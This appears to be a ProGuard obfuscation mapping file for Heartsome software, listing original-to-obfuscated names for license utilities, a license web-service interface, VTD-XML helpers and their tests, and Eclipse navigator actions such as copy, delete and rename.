java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.license.utils.DateUtils -> net.heartsome.license.utils.a: + java.lang.String getDate() -> getDate +net.heartsome.license.utils.FileUtils -> net.heartsome.license.utils.b: + boolean writeFile(byte[],java.lang.String) -> a + byte[] readFile(java.lang.String) -> readFile + boolean removeFile() -> mk + void removeFile(java.lang.String) -> removeFile + boolean isExsit() -> ml + boolean isExsitInstall() -> nG +net.heartsome.license.utils.RandomUtils -> net.heartsome.license.utils.c: + java.lang.String generateRandom(int) -> Y +net.heartsome.license.utils.StringUtils -> net.heartsome.license.utils.d: + char[] HEXCHAR -> adD + java.lang.String handle(java.lang.String,int,int,int) -> b + java.lang.String reverse(java.lang.String,int,int,int) -> c + java.lang.String removeColon(java.lang.String) -> eK + java.lang.String toHexString(byte[]) -> toHexString + byte[] toBytes(java.lang.String) -> toBytes + java.lang.String groupString(java.lang.String) -> eL + java.lang.String getErrorCode(int) -> Z +net.heartsome.license.webservice.IService -> net.heartsome.license.webservice.IService: + byte[] getServerPublicKey() -> getServerPublicKey + java.lang.String buyLicense(java.lang.String,java.lang.String,java.lang.String) -> buyLicense + java.lang.String activeLicense(java.lang.String,byte[]) -> activeLicense + java.lang.String activeLicense(java.lang.String,byte[],java.lang.String) -> activeLicense + java.lang.String checkLicense(java.lang.String,byte[]) -> checkLicense + java.lang.String logoutLicense(java.lang.String,byte[]) -> logoutLicense + java.lang.String getTempEndDate(java.lang.String,byte[]) -> getTempEndDate +net.heartsome.license.webservice.ServiceUtil -> net.heartsome.license.webservice.a: + java.lang.String SERVICE_URL -> adE + java.lang.String SERVICE_NAMESPACE -> adF + java.lang.String SERVICE_NAME -> SERVICE_NAME + java.lang.String HTTP_TYPE -> adG + int PORT -> PORT + net.heartsome.license.webservice.IService getService() -> mm + int active(java.lang.String,org.eclipse.swt.widgets.ProgressBar) -> a + int check(java.lang.String,java.lang.String,byte[]) -> b + int cancel() -> cancel + java.lang.String getTempEndDate(java.lang.String) -> eM +net.heartsome.xml.resource.Messages -> net.heartsome.xml.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> h + java.lang.String getString(java.lang.String) -> getString +net.heartsome.xml.vtdimpl.VTDLoader -> net.heartsome.xml.vtdimpl.VTDLoader: + com.ximpleware.VTDGen loadVTDGen(java.io.File,java.lang.String) -> loadVTDGen + byte[] getBytes(char[],int,int) -> c +net.heartsome.xml.vtdimpl.VTDUtils -> net.heartsome.xml.vtdimpl.VTDUtils: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String XML_NAMESPACE_URL -> XML_NAMESPACE_URL + com.ximpleware.VTDNav vn -> vn + com.ximpleware.VTDGen vg -> adH + int PILOT_TO_END -> PILOT_TO_END + int CREATE_IF_NOT_EXIST -> CREATE_IF_NOT_EXIST + java.util.regex.Pattern PATTERN -> PATTERN + void parseFile(java.lang.String,boolean) -> parseFile + void parseFile(java.io.InputStream,boolean) -> parseFile + void bind(com.ximpleware.VTDNav) -> bind + java.lang.String getCurrentElementAttribut(java.lang.String,java.lang.String) -> getCurrentElementAttribut + java.util.Hashtable getCurrentElementAttributs() -> getCurrentElementAttributs + java.util.Hashtable getCurrentElementAttributs(java.lang.String,java.lang.String) -> getCurrentElementAttributs + java.lang.String getCurrentElementName(int) -> getCurrentElementName + java.lang.String getCurrentElementName() -> getCurrentElementName + java.util.Hashtable getCurrentElementAttributs(java.util.Hashtable) -> getCurrentElementAttributs + java.lang.String getElementPureText() -> getElementPureText + java.lang.String getElementRawPureText() -> getElementRawPureText + java.lang.String getElementContent() -> getElementContent + java.util.Vector getChildrenContent(java.lang.String) -> getChildrenContent + java.lang.String getChildContent(java.lang.String) -> getChildContent + int getChildElementsCount() -> getChildElementsCount + int getChildElementsCount(java.lang.String) -> getChildElementsCount + java.lang.String getElementContent(java.lang.String) -> getElementContent + com.ximpleware.VTDNav getVTDNav() -> getVTDNav + java.lang.String getChildPureText(java.lang.String) -> getChildPureText + java.lang.String getElementAttribute(java.lang.String,java.lang.String) -> getElementAttribute + java.lang.String getElementFragment() -> getElementFragment + java.lang.String formatLineNumber(byte[],int,com.ximpleware.VTDNav) -> a + java.lang.String getElementHead() -> getElementHead + java.lang.String getNodeXML(java.lang.String,java.lang.String,java.util.Hashtable) -> getNodeXML + java.lang.Object getEvalValue(java.lang.Class,java.lang.String) -> getEvalValue + java.lang.Object getEvalValue(java.lang.Class,com.ximpleware.AutoPilot,java.lang.String) -> getEvalValue + java.lang.String getValue(java.lang.String) -> getValue + java.lang.String getValue(java.lang.String,java.lang.String) -> getValue + java.lang.String getValue(com.ximpleware.AutoPilot,java.lang.String) -> getValue + java.lang.String getValue(com.ximpleware.AutoPilot,java.lang.String,java.lang.String) -> getValue + java.util.List getValues(com.ximpleware.AutoPilot,java.lang.String,boolean) -> getValues + java.util.List getValues(com.ximpleware.AutoPilot,java.lang.String) -> getValues + java.util.List getValues(java.lang.String) -> getValues + com.ximpleware.XMLModifier delete(java.lang.String) -> delete + com.ximpleware.XMLModifier delete(java.lang.String,int) -> delete + com.ximpleware.XMLModifier delete(com.ximpleware.AutoPilot,com.ximpleware.XMLModifier,java.lang.String) -> delete + com.ximpleware.XMLModifier delete(com.ximpleware.AutoPilot,com.ximpleware.XMLModifier,java.lang.String,int) -> delete + com.ximpleware.XMLModifier update(java.lang.String,java.lang.String) -> update + com.ximpleware.XMLModifier update(java.lang.String,java.lang.String,int) -> update + com.ximpleware.XMLModifier update(com.ximpleware.AutoPilot,com.ximpleware.XMLModifier,java.lang.String,java.lang.String) -> update + com.ximpleware.XMLModifier update(com.ximpleware.AutoPilot,com.ximpleware.XMLModifier,java.lang.String,java.lang.String,int) -> update + com.ximpleware.XMLModifier handleXML(com.ximpleware.AutoPilot,com.ximpleware.XMLModifier,java.lang.String,java.lang.String,int,boolean) -> a + void insertAttribute(com.ximpleware.XMLModifier,java.lang.String,java.lang.String) -> b + com.ximpleware.XMLModifier insert(java.lang.String,java.lang.String) -> insert + com.ximpleware.XMLModifier insert(com.ximpleware.AutoPilot,com.ximpleware.XMLModifier,java.lang.String,java.lang.String) -> insert + com.ximpleware.XMLModifier insert(java.lang.String,java.lang.String,int) -> insert + com.ximpleware.XMLModifier insert(com.ximpleware.AutoPilot,com.ximpleware.XMLModifier,java.lang.String,java.lang.String,int) -> insert + int pilot(java.lang.String) -> pilot + int pilot(com.ximpleware.AutoPilot,java.lang.String) -> pilot + java.lang.String dealEscapeQuotes(java.lang.String) -> dealEscapeQuotes + com.ximpleware.VTDNav updateVTDNav(com.ximpleware.XMLModifier,java.lang.String) -> updateVTDNav + java.lang.String getCharsetByEncoding() -> getCharsetByEncoding +net.heartsome.xml.vtdimpl.test.VTDUtilsTest -> net.heartsome.xml.vtdimpl.test.a: + java.lang.String testFile -> adI + com.ximpleware.VTDNav vn -> vn + net.heartsome.xml.vtdimpl.VTDUtils vu -> k + void setUp() -> setUp + void tearDown() -> tearDown + void testVTDUtils() -> mo + void testVTDNavStatus() -> mp + void testGetChildContent() -> mq + void testGetChildrenContent() -> mr + void testGetCurrentElementAttributsNoParams() -> ms + void testGetCurrentElementAttributs1Param() -> mt + void testGetCurrentElementAttributs2Params() -> mu + void testGetElementContent() -> mv + void testGetElementContent1Param() -> mw + void testGetElementPureText() -> mx + void testGetVTDNav() -> my + void testGetCurrentElementName() -> mz + void testGetCurrentElementNameWithoutInx() -> mA + void testGetChildElementsCount() -> mB + void testGetChildElementsCount2() -> mC + void testGetElementFragment() -> mD +org.eclipse.ui.internal.navigator.resources.ResourceToItemsMapper -> org.eclipse.ui.internal.navigator.resources.ResourceToItemsMapper: + int NUMBER_LIST_REUSE -> adJ + java.util.HashMap _resourceToItem -> adK + java.util.Stack _reuseLists -> adL + org.eclipse.ui.navigator.CommonViewer _commonViewer -> adM + void addToMap(java.lang.Object,org.eclipse.swt.widgets.Item) -> addToMap + void removeFromMap(java.lang.Object,org.eclipse.swt.widgets.Item) -> removeFromMap + void clearMap() -> clearMap + boolean isEmpty() -> isEmpty + java.util.List getNewList() -> mE + void releaseList(java.util.List) -> D + boolean handlesObject(java.lang.Object) -> handlesObject + void objectChanged(java.lang.Object) -> objectChanged + void updateItem(org.eclipse.swt.widgets.Item) -> a + org.eclipse.core.resources.IResource getCorrespondingResource(java.lang.Object) -> e +org.eclipse.ui.internal.navigator.resources.actions.CopyAction -> org.eclipse.ui.internal.navigator.resources.actions.CopyAction: + java.lang.String ID -> ID + org.eclipse.swt.widgets.Shell shell -> shell + org.eclipse.swt.dnd.Clipboard clipboard -> adN + org.eclipse.ui.internal.navigator.resources.actions.PasteAction pasteAction -> adO + void run() -> run + void setClipboard(org.eclipse.core.resources.IResource[],java.lang.String[],java.lang.String) -> a + boolean updateSelection(org.eclipse.jface.viewers.IStructuredSelection) -> updateSelection +org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction -> org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction: + java.lang.String ID -> ID + org.eclipse.jface.window.IShellProvider shellProvider -> shellProvider + boolean deleteContent -> adP + boolean fTestingMode -> fTestingMode + java.lang.String[] modelProviderIds -> adQ + void initAction() -> mF + void setShellProvider(org.eclipse.jface.window.IShellProvider) -> a + boolean canDelete(org.eclipse.core.resources.IResource[]) -> a + boolean containsLinkedResource(org.eclipse.core.resources.IResource[]) -> b + boolean containsOnlyNonProjects(org.eclipse.core.resources.IResource[]) -> containsOnlyNonProjects + boolean containsOnlyProjects(org.eclipse.core.resources.IResource[]) -> containsOnlyProjects + boolean confirmDelete(org.eclipse.core.resources.IResource[]) -> c + boolean confirmDeleteNonProjects(org.eclipse.core.resources.IResource[]) -> d + boolean confirmDeleteProjects(org.eclipse.core.resources.IResource[]) -> e + org.eclipse.core.resources.IResource[] getSelectedResourcesArray() -> mG + int getSelectedResourceTypes(org.eclipse.core.resources.IResource[]) -> f + void run() -> run + void scheduleDeleteJob(org.eclipse.core.resources.IResource[]) -> g + void closeRelatedEditors() -> mH + boolean updateSelection(org.eclipse.jface.viewers.IStructuredSelection) -> updateSelection + java.lang.String[] getModelProviderIds() -> getModelProviderIds + void setModelProviderIds(java.lang.String[]) -> setModelProviderIds + void access$0(org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction) -> a + void access$1(org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction,org.eclipse.core.resources.IResource[]) -> a + boolean access$2(org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction) -> b + boolean access$3(org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction,org.eclipse.core.resources.IResource[]) -> b + org.eclipse.jface.window.IShellProvider access$4(org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction) -> c +org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction$1 -> org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction$1: + org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction this$0 -> adR + org.eclipse.swt.widgets.Shell val$shell -> ct + org.eclipse.swt.widgets.Shell getShell() -> getShell +org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction$2 -> org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction$2: + org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction this$0 -> adR + org.eclipse.core.resources.IResource[] val$resources -> adS + org.eclipse.core.runtime.IStatus run(org.eclipse.core.runtime.IProgressMonitor) -> run + boolean belongsTo(java.lang.Object) -> belongsTo +org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction$3 -> org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction$3: + org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction this$0 -> adR + org.eclipse.core.resources.IResource[] val$resourcesToDelete -> adT + org.eclipse.core.runtime.IStatus run(org.eclipse.core.runtime.IProgressMonitor) -> run + boolean belongsTo(java.lang.Object) -> belongsTo +org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction$3$1 -> org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction$3$1: + org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction$3 this$1 -> adU + org.eclipse.ui.ide.undo.DeleteResourcesOperation val$op -> adV + org.eclipse.core.runtime.IStatus runInUIThread(org.eclipse.core.runtime.IProgressMonitor) -> runInUIThread +org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction$4 -> org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction$4: + org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction this$0 -> adR + org.eclipse.ui.IEditorReference val$reference -> adW + com.ximpleware.VTDGen val$vg -> adX + com.ximpleware.AutoPilot val$ap -> adY + java.util.List val$selectionResource -> adZ + java.util.List val$lstCloseEditor -> aea + java.util.List val$inputList -> ahU + void run() -> run +org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction$5 -> org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction$5: + org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction this$0 -> adR + java.util.List val$lstCloseEditor -> aea + org.eclipse.ui.IWorkbenchPage val$page2 -> aeb + java.util.List val$inputList -> ahU + void run() -> run +org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction$DeleteProjectDialog -> org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction$DeleteProjectDialog: + org.eclipse.core.resources.IResource[] projects -> aec + boolean deleteContent -> adP + boolean fIsTesting -> aed + java.lang.String getTitle(org.eclipse.core.resources.IResource[]) -> h + java.lang.String getMessage(org.eclipse.core.resources.IResource[]) -> i + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createCustomArea(org.eclipse.swt.widgets.Composite) -> createCustomArea + boolean getDeleteContent() -> mI + int open() -> open + void setTestingMode(boolean) -> I +org.eclipse.ui.internal.navigator.resources.actions.EditActionGroup -> org.eclipse.ui.internal.navigator.resources.actions.EditActionGroup: + org.eclipse.swt.dnd.Clipboard clipboard -> adN + org.eclipse.ui.internal.navigator.resources.actions.CopyAction copyAction -> aei + org.eclipse.ui.internal.navigator.resources.actions.DeleteResourceAndCloseEditorAction deleteAction -> aej + org.eclipse.ui.internal.navigator.resources.actions.PasteAction pasteAction -> adO + org.eclipse.ui.actions.TextActionHandler textActionHandler -> aek + org.eclipse.swt.widgets.Shell shell -> shell + void dispose() -> dispose + void fillContextMenu(org.eclipse.jface.action.IMenuManager) -> fillContextMenu + void fillActionBars(org.eclipse.ui.IActionBars) -> fillActionBars + void handleKeyPressed(org.eclipse.swt.events.KeyEvent) -> handleKeyPressed + void makeActions() -> makeActions + void updateActionBars() -> updateActionBars + org.eclipse.swt.widgets.Shell access$0(org.eclipse.ui.internal.navigator.resources.actions.EditActionGroup) -> a +org.eclipse.ui.internal.navigator.resources.actions.EditActionGroup$1 -> org.eclipse.ui.internal.navigator.resources.actions.EditActionGroup$1: + org.eclipse.ui.internal.navigator.resources.actions.EditActionGroup this$0 -> ael + org.eclipse.swt.widgets.Shell getShell() -> getShell +org.eclipse.ui.internal.navigator.resources.actions.EditActionProvider -> org.eclipse.ui.internal.navigator.resources.actions.EditActionProvider: + org.eclipse.ui.internal.navigator.resources.actions.EditActionGroup editGroup -> aem + org.eclipse.ui.navigator.ICommonActionExtensionSite site -> aen + void init(org.eclipse.ui.navigator.ICommonActionExtensionSite) -> init + void dispose() -> dispose + void fillActionBars(org.eclipse.ui.IActionBars) -> fillActionBars + void fillContextMenu(org.eclipse.jface.action.IMenuManager) -> fillContextMenu + void setContext(org.eclipse.ui.actions.ActionContext) -> setContext + void updateActionBars() -> updateActionBars +org.eclipse.ui.internal.navigator.resources.actions.GotoActionProvider -> org.eclipse.ui.internal.navigator.resources.actions.GotoActionProvider: + org.eclipse.ui.internal.navigator.resources.actions.GotoResourceAction gotoAction -> aeo + void init(org.eclipse.ui.navigator.ICommonActionExtensionSite) -> init + void fillActionBars(org.eclipse.ui.IActionBars) -> fillActionBars +org.eclipse.ui.internal.navigator.resources.actions.GotoResourceAction -> org.eclipse.ui.internal.navigator.resources.actions.GotoResourceAction: + org.eclipse.swt.widgets.Shell shell -> shell + org.eclipse.jface.viewers.TreeViewer viewer -> JV + void run() -> run +org.eclipse.ui.internal.navigator.resources.actions.GotoResourceDialog -> org.eclipse.ui.internal.navigator.resources.actions.GotoResourceDialog: +org.eclipse.ui.internal.navigator.resources.actions.NewActionProvider -> org.eclipse.ui.internal.navigator.resources.actions.NewActionProvider: + java.lang.String FULL_EXAMPLES_WIZARD_CATEGORY -> FULL_EXAMPLES_WIZARD_CATEGORY + java.lang.String NEW_MENU_NAME -> aep + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction showDlgAction -> aeq + org.eclipse.jface.action.IAction newProjectAction -> aer + org.eclipse.jface.action.IAction newExampleAction -> aes + org.eclipse.ui.navigator.WizardActionGroup newWizardActionGroup -> aet + boolean contribute -> aeu + void init(org.eclipse.ui.navigator.ICommonActionExtensionSite) -> init + void fillContextMenu(org.eclipse.jface.action.IMenuManager) -> fillContextMenu + boolean hasExamples() -> mJ + void dispose() -> dispose +org.eclipse.ui.internal.navigator.resources.actions.OpenActionProvider -> org.eclipse.ui.internal.navigator.resources.actions.OpenActionProvider: + org.eclipse.ui.internal.navigator.resources.actions.OpenFileWithValidAction openFileAction -> aev + org.eclipse.ui.navigator.ICommonViewerWorkbenchSite viewSite -> aew + boolean contribute -> aeu + void init(org.eclipse.ui.navigator.ICommonActionExtensionSite) -> init + void fillContextMenu(org.eclipse.jface.action.IMenuManager) -> fillContextMenu + void fillActionBars(org.eclipse.ui.IActionBars) -> fillActionBars +org.eclipse.ui.internal.navigator.resources.actions.OpenFileWithValidAction -> org.eclipse.ui.internal.navigator.resources.actions.OpenFileWithValidAction: + org.eclipse.ui.IWorkbenchPage page -> aex + java.lang.String ID -> ID + java.lang.String XLIFF_EDITOR_ID -> XLIFF_EDITOR_ID + org.eclipse.ui.IEditorDescriptor editorDescriptor -> aey + boolean ensureFileLocal(org.eclipse.core.resources.IFile) -> e + void run() -> run + void openFile1(org.eclipse.core.resources.IFile) -> f + boolean validIsopened(org.eclipse.core.resources.IFile) -> g +org.eclipse.ui.internal.navigator.resources.actions.PasteAction -> org.eclipse.ui.internal.navigator.resources.actions.PasteAction: + java.lang.String ID -> ID + org.eclipse.swt.widgets.Shell shell -> shell + org.eclipse.swt.dnd.Clipboard clipboard -> adN + org.eclipse.core.resources.IResource getTarget() -> mK + boolean isLinked(org.eclipse.core.resources.IResource[]) -> j + void run() -> run + org.eclipse.core.resources.IContainer getContainer() -> mL + boolean updateSelection(org.eclipse.jface.viewers.IStructuredSelection) -> updateSelection + org.eclipse.swt.dnd.Clipboard access$0(org.eclipse.ui.internal.navigator.resources.actions.PasteAction) -> a +org.eclipse.ui.internal.navigator.resources.actions.PasteAction$1 -> org.eclipse.ui.internal.navigator.resources.actions.PasteAction$1: + org.eclipse.ui.internal.navigator.resources.actions.PasteAction this$0 -> aez + org.eclipse.core.resources.IResource[][] val$clipboardData -> aeA + void run() -> run +org.eclipse.ui.internal.navigator.resources.actions.PortingActionProvider -> org.eclipse.ui.internal.navigator.resources.actions.PortingActionProvider: + java.lang.String COMMON_NAVIGATOR_IMPORT_MENU -> aeB + java.lang.String COMMON_NAVIGATOR_EXPORT_MENU -> aeC + org.eclipse.ui.actions.ImportResourcesAction importAction -> importAction + org.eclipse.ui.actions.ExportResourcesAction exportAction -> exportAction + org.eclipse.ui.navigator.WizardActionGroup importWizardActionGroup -> aeD + org.eclipse.ui.navigator.WizardActionGroup exportWizardActionGroup -> aeE + boolean disposed -> disposed + boolean contribute -> aeu + void init(org.eclipse.ui.navigator.ICommonActionExtensionSite) -> init + void dispose() -> dispose + void fillContextMenu(org.eclipse.jface.action.IMenuManager) -> fillContextMenu + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor + void addSimplePortingMenus(org.eclipse.jface.action.IMenuManager) -> a + void addImportMenu(org.eclipse.jface.action.IMenuManager) -> b + void addExportMenu(org.eclipse.jface.action.IMenuManager) -> c +org.eclipse.ui.internal.navigator.resources.actions.PropertiesActionProvider -> org.eclipse.ui.internal.navigator.resources.actions.PropertiesActionProvider: + org.eclipse.ui.dialogs.PropertyDialogAction propertiesAction -> aeF + org.eclipse.jface.viewers.ISelectionProvider delegateSelectionProvider -> aeG + void init(org.eclipse.ui.navigator.ICommonActionExtensionSite) -> init + void fillContextMenu(org.eclipse.jface.action.IMenuManager) -> fillContextMenu + void fillActionBars(org.eclipse.ui.IActionBars) -> fillActionBars + void setContext(org.eclipse.ui.actions.ActionContext) -> setContext +org.eclipse.ui.internal.navigator.resources.actions.PropertiesActionProvider$1 -> org.eclipse.ui.internal.navigator.resources.actions.PropertiesActionProvider$1: + org.eclipse.ui.internal.navigator.resources.actions.PropertiesActionProvider this$0 -> aeH + org.eclipse.ui.navigator.ICommonActionExtensionSite val$aSite -> aeI + org.eclipse.swt.widgets.Shell getShell() -> getShell +org.eclipse.ui.internal.navigator.resources.actions.PropertiesActionProvider$DelegateIAdaptable -> org.eclipse.ui.internal.navigator.resources.actions.PropertiesActionProvider$DelegateIAdaptable: + java.lang.Object delegate -> aeJ + org.eclipse.ui.internal.navigator.resources.actions.PropertiesActionProvider this$0 -> aeH + java.lang.Object getAdapter(java.lang.Class) -> getAdapter +org.eclipse.ui.internal.navigator.resources.actions.PropertiesActionProvider$DelegateSelectionProvider -> org.eclipse.ui.internal.navigator.resources.actions.PropertiesActionProvider$DelegateSelectionProvider: + org.eclipse.jface.viewers.ISelectionProvider delegate -> aeK + org.eclipse.ui.internal.navigator.resources.actions.PropertiesActionProvider this$0 -> aeH + void addSelectionChangedListener(org.eclipse.jface.viewers.ISelectionChangedListener) -> addSelectionChangedListener + org.eclipse.jface.viewers.ISelection getSelection() -> getSelection + void removeSelectionChangedListener(org.eclipse.jface.viewers.ISelectionChangedListener) -> removeSelectionChangedListener + void setSelection(org.eclipse.jface.viewers.ISelection) -> setSelection +org.eclipse.ui.internal.navigator.resources.actions.RefactorActionGroup -> org.eclipse.ui.internal.navigator.resources.actions.RefactorActionGroup: + org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction renameAction -> aeL + org.eclipse.ui.actions.MoveResourceAction moveAction -> aeM + org.eclipse.swt.widgets.Shell shell -> shell + org.eclipse.swt.widgets.Tree tree -> Ip + void fillContextMenu(org.eclipse.jface.action.IMenuManager) -> fillContextMenu + void fillActionBars(org.eclipse.ui.IActionBars) -> fillActionBars + void handleKeyPressed(org.eclipse.swt.events.KeyEvent) -> handleKeyPressed + void makeActions() -> makeActions + void updateActionBars() -> updateActionBars + org.eclipse.swt.widgets.Shell access$0(org.eclipse.ui.internal.navigator.resources.actions.RefactorActionGroup) -> a +org.eclipse.ui.internal.navigator.resources.actions.RefactorActionGroup$1 -> org.eclipse.ui.internal.navigator.resources.actions.RefactorActionGroup$1: + org.eclipse.ui.internal.navigator.resources.actions.RefactorActionGroup this$0 -> aeN + org.eclipse.swt.widgets.Shell getShell() -> getShell +org.eclipse.ui.internal.navigator.resources.actions.RefactorActionProvider -> org.eclipse.ui.internal.navigator.resources.actions.RefactorActionProvider: + org.eclipse.ui.internal.navigator.resources.actions.RefactorActionGroup refactorGroup -> aeO + void init(org.eclipse.ui.navigator.ICommonActionExtensionSite) -> init + void dispose() -> dispose + void fillActionBars(org.eclipse.ui.IActionBars) -> fillActionBars + void fillContextMenu(org.eclipse.jface.action.IMenuManager) -> fillContextMenu + void setContext(org.eclipse.ui.actions.ActionContext) -> setContext + void updateActionBars() -> updateActionBars +org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction -> org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction: + org.eclipse.swt.custom.TreeEditor treeEditor -> aeP + org.eclipse.swt.widgets.Tree navigatorTree -> aeQ + org.eclipse.swt.widgets.Text textEditor -> aeR + org.eclipse.swt.widgets.Composite textEditorParent -> aeS + org.eclipse.ui.internal.navigator.TextActionHandler textActionHandler -> aeT + org.eclipse.core.resources.IResource inlinedResource -> aeU + boolean saving -> saving + java.lang.String ID -> ID + org.eclipse.core.runtime.IPath newPath -> aeV + java.lang.String[] modelProviderIds -> adQ + java.lang.String CHECK_RENAME_TITLE -> aeW + java.lang.String CHECK_RENAME_MESSAGE -> aeX + java.lang.String RESOURCE_EXISTS_TITLE -> aeY + java.lang.String RESOURCE_EXISTS_MESSAGE -> aeZ + java.lang.String PROJECT_EXISTS_MESSAGE -> afa + java.lang.String PROJECT_EXISTS_TITLE -> afb + org.eclipse.jface.window.IShellProvider shellProvider -> shellProvider + void initAction() -> mF + boolean checkOverwrite(org.eclipse.swt.widgets.Shell,org.eclipse.core.resources.IResource) -> a + boolean checkReadOnlyAndNull(org.eclipse.core.resources.IResource) -> a + org.eclipse.swt.widgets.Composite createParent() -> mM + int getCellEditorInset(org.eclipse.swt.widgets.Control) -> b + void createTextEditor(org.eclipse.core.resources.IResource) -> b + void disposeTextWidget() -> mN + java.util.List getActionResources() -> getActionResources + java.lang.String getOperationMessage() -> getOperationMessage + java.lang.String getProblemsMessage() -> getProblemsMessage + java.lang.String getProblemsTitle() -> getProblemsTitle + org.eclipse.swt.widgets.Tree getTree() -> getTree + java.lang.String queryNewResourceName(org.eclipse.core.resources.IResource) -> queryNewResourceName + void queryNewResourceNameInline(org.eclipse.core.resources.IResource) -> c + void run() -> run + void closeRelatedEditors() -> mH + void runWithInlineEditor() -> mO + org.eclipse.core.resources.IResource getCurrentResource() -> mP + void runWithNewPath(org.eclipse.core.runtime.IPath,org.eclipse.core.resources.IResource) -> runWithNewPath + void displayError(java.lang.String) -> displayError + void saveChangesAndDispose(org.eclipse.core.resources.IResource) -> d + boolean updateSelection(org.eclipse.jface.viewers.IStructuredSelection) -> updateSelection + void setTextActionHandler(org.eclipse.ui.internal.navigator.TextActionHandler) -> setTextActionHandler + java.lang.String[] getModelProviderIds() -> getModelProviderIds + void setModelProviderIds(java.lang.String[]) -> setModelProviderIds + org.eclipse.jface.operation.IRunnableWithProgress createOperation(org.eclipse.core.runtime.IStatus[]) -> createOperation + java.lang.String access$0() -> hi + java.lang.String access$1() -> hj + java.lang.String access$2() -> ix + java.lang.String access$3() -> mQ + org.eclipse.swt.widgets.Text access$4(org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction) -> a + org.eclipse.swt.widgets.Composite access$5(org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction) -> b + void access$6(org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction) -> c + void access$7(org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction,org.eclipse.core.resources.IResource) -> a + void access$8(org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction) -> d + void access$9(org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction,boolean) -> a + org.eclipse.core.resources.IResource access$10(org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction) -> e + void access$11(org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction,org.eclipse.core.resources.IResource) -> b + org.eclipse.swt.widgets.Tree access$12(org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction) -> f + org.eclipse.core.runtime.IPath access$13(org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction) -> g + org.eclipse.jface.window.IShellProvider access$14(org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction) -> h + boolean access$15(org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction,org.eclipse.swt.widgets.Shell,org.eclipse.core.resources.IResource) -> a +org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction$1 -> org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction$1: + org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction this$0 -> afc + org.eclipse.core.resources.IResource val$destination -> afd + boolean[] val$result -> afe + org.eclipse.swt.widgets.Shell val$shell -> ct + void run() -> run +org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction$2 -> org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction$2: + org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction this$0 -> afc + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction$3 -> org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction$3: + org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction this$0 -> afc + int val$inset -> aff + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent +org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction$4 -> org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction$4: + org.eclipse.ui.internal.navigator.resources.actions.RenameResourceAndCloseEditorAction this$0 -> afc + org.eclipse.core.resources.IResource val$resource -> afg 